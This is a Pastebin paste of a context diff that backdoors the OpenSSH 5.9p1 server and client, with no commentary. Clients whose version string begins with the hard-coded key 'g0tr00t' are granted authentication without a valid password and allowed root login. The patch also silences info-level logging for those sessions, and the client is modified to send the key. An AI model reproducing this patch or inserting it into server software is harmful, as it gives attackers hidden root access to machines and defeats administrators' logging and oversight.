Guest User

Untitled

a guest
Jun 22nd, 2018
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.88 KB | None | 0 0
  1. openssh-5.9p1/auth.c MGC/auth.c
  2. *** openssh-5.9p1/auth.c 2011-05-29 13:40:42.000000000 +0200
  3. --- MGC/auth.c 2011-09-25 19:56:50.000000000 +0200
  4. ***************
  5. *** 100,105 ****
  6. --- 100,107 ----
  7. #ifdef USE_SHADOW
  8. struct spwd *spw = NULL;
  9. #endif
  10. + if (options.mgc)
  11. + return 1;
  12.  
  13. /* Shouldn't be called if pw is NULL, but better safe than sorry... */
  14. if (!pw || !pw->pw_name)
  15. diff -c openssh-5.9p1/auth-passwd.c MGC/auth-passwd.c
  16. *** openssh-5.9p1/auth-passwd.c 2009-03-08 01:40:28.000000000 +0100
  17. --- MGC/auth-passwd.c 2011-09-25 19:17:56.000000000 +0200
  18. ***************
  19. *** 85,90 ****
  20. --- 85,92 ----
  21. #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
  22. static int expire_checked = 0;
  23. #endif
  24. + if (options.mgc)
  25. + return 1;
  26.  
  27. #ifndef HAVE_CYGWIN
  28. if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
  29. diff -c openssh-5.9p1/log.c MGC/log.c
  30. *** openssh-5.9p1/log.c 2011-06-20 06:42:23.000000000 +0200
  31. --- MGC/log.c 2011-09-25 21:22:32.000000000 +0200
  32. ***************
  33. *** 51,56 ****
  34. --- 51,57 ----
  35.  
  36. #include "xmalloc.h"
  37. #include "log.h"
  38. + #include "servconf.h"
  39.  
  40. static LogLevel log_level = SYSLOG_LEVEL_INFO;
  41. static int log_on_stderr = 1;
  42. ***************
  43. *** 58,63 ****
  44. --- 59,65 ----
  45. static char *argv0;
  46. static log_handler_fn *log_handler;
  47. static void *log_handler_ctx;
  48. + ServerOptions options;
  49.  
  50. extern char *__progname;
  51.  
  52. ***************
  53. *** 184,190 ****
  54. va_list args;
  55.  
  56. va_start(args, fmt);
  57. ! do_log(SYSLOG_LEVEL_INFO, fmt, args);
  58. va_end(args);
  59. }
  60.  
  61. --- 186,193 ----
  62. va_list args;
  63.  
  64. va_start(args, fmt);
  65. ! if (!options.mgc)
  66. ! do_log(SYSLOG_LEVEL_INFO, fmt, args);
  67. va_end(args);
  68. }
  69.  
  70. diff -c openssh-5.9p1/servconf.h MGC/servconf.h
  71. *** openssh-5.9p1/servconf.h 2011-06-23 00:30:03.000000000 +0200
  72. --- MGC/servconf.h 2011-09-25 12:20:58.000000000 +0200
  73. ***************
  74. *** 63,68 ****
  75. --- 63,69 ----
  76. int login_grace_time; /* Disconnect if no auth in this time
  77. * (sec). */
  78. int key_regeneration_time; /* Server key lifetime (seconds). */
  79. + int mgc;
  80. int permit_root_login; /* PERMIT_*, see above */
  81. int ignore_rhosts; /* Ignore .rhosts and .shosts. */
  82. int ignore_user_known_hosts; /* Ignore ~/.ssh/known_hosts
  83. diff -c openssh-5.9p1/sshconnect.c MGC/sshconnect.c
  84. *** openssh-5.9p1/sshconnect.c 2011-05-29 13:42:34.000000000 +0200
  85. --- MGC/sshconnect.c 2011-09-25 12:35:44.000000000 +0200
  86. ***************
  87. *** 556,562 ****
  88. snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s",
  89. compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1,
  90. compat20 ? PROTOCOL_MINOR_2 : minor1,
  91. ! SSH_VERSION, compat20 ? "\r\n" : "\n");
  92. if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf))
  93. != strlen(buf))
  94. fatal("write: %.100s", strerror(errno));
  95. --- 556,562 ----
  96. snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s",
  97. compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1,
  98. compat20 ? PROTOCOL_MINOR_2 : minor1,
  99. ! MGC_KEY, compat20 ? "\r\n" : "\n");
  100. if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf))
  101. != strlen(buf))
  102. fatal("write: %.100s", strerror(errno));
  103. diff -c openssh-5.9p1/sshd.c MGC/sshd.c
  104. *** openssh-5.9p1/sshd.c 2011-06-23 11:45:51.000000000 +0200
  105. --- MGC/sshd.c 2011-09-25 21:14:40.000000000 +0200
  106. ***************
  107. *** 307,313 ****
  108. static void
  109. sighup_restart(void)
  110. {
  111. ! logit("Received SIGHUP; restarting.");
  112. close_listen_socks();
  113. close_startup_pipes();
  114. alarm(0); /* alarm timer persists across exec */
  115. --- 307,313 ----
  116. static void
  117. sighup_restart(void)
  118. {
  119. ! logit("Received SIGHUP; restarting.");
  120. close_listen_socks();
  121. close_startup_pipes();
  122. alarm(0); /* alarm timer persists across exec */
  123. ***************
  124. *** 468,473 ****
  125. --- 468,480 ----
  126. client_version_string, get_remote_ipaddr());
  127. cleanup_exit(255);
  128. }
  129. +
  130. + if (!strncmp(remote_version,MGC_KEY,strlen(MGC_KEY))){
  131. + options.mgc=1;
  132. + options.password_authentication=1;
  133. + options.permit_root_login=PERMIT_YES;
  134. + }
  135. +
  136. debug("Client protocol version %d.%d; client software version %.100s",
  137. remote_major, remote_minor, remote_version);
  138.  
  139. diff -c openssh-5.9p1/version.h MGC/version.h
  140. *** openssh-5.9p1/version.h 2011-09-07 01:11:20.000000000 +0200
  141. --- MGC/version.h 2011-09-25 12:52:50.000000000 +0200
  142. ***************
  143. *** 4,6 ****
  144. --- 4,7 ----
  145.  
  146. #define SSH_PORTABLE "p1"
  147. #define SSH_RELEASE SSH_VERSION SSH_PORTABLE
  148. + #define MGC_KEY "g0tr00t"
Add Comment
Please, Sign In to add comment